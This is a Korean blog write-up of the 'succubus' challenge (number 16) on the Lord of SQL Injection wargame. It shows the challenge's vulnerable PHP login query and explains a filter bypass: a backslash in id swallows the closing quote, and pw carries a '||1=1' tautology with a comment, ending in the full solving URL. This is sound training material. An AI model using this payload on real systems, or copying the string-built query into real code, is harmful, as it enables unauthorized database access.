write-up/LOS write-up

LOS (Lord of SQL injection) 문제 16번 succubus write-up

정보보호학과 새내기 2021. 7. 10. 11:47
반응형
SMALL

문제 16번 - succubus

 

query : select id from prob_succubus where id='' and pw=''

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

일단 다른 문제들과 같이 php코드가 주어져있다.

 

먼저 필터링 함수를 확인하면 id, pw를 받는 함수에 prob와 _ , . , ( , ) , '을 필터링 하는 것을 알 수 있다. 추가로 i를 통해 대소문자를 구별하지 않는다는 것도 확인할 수 있다.

<?php
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
?>

 

clear 조건을 확인하기 위해 조건문 코드를 확인해보니 쿼리문이 참이 되면 된다는 것을 알 수 있다.

<?php
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>

 

위 조건들을 확인해보니 문제가 쉬워보였는데 막상 '를 사용하지 못하니 좀 까다로워졌다.

 

이런 경우에는 \를 이용하여 \다음 문자가 문자형으로 쓰인다는 것을 알려주어 id값이 입력된 것처럼 설정할 수 있다.

(id=\&&~~ 이렇게 사용하면 query는 id='\'&&pw= 이렇게 받아들인다.)

 

따라서 id=\&&pw="1"||1=1%23을 입력한다.

 

solve

https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id=\&&pw=%221%22||1=1%23

클리어 화면

반응형
LIST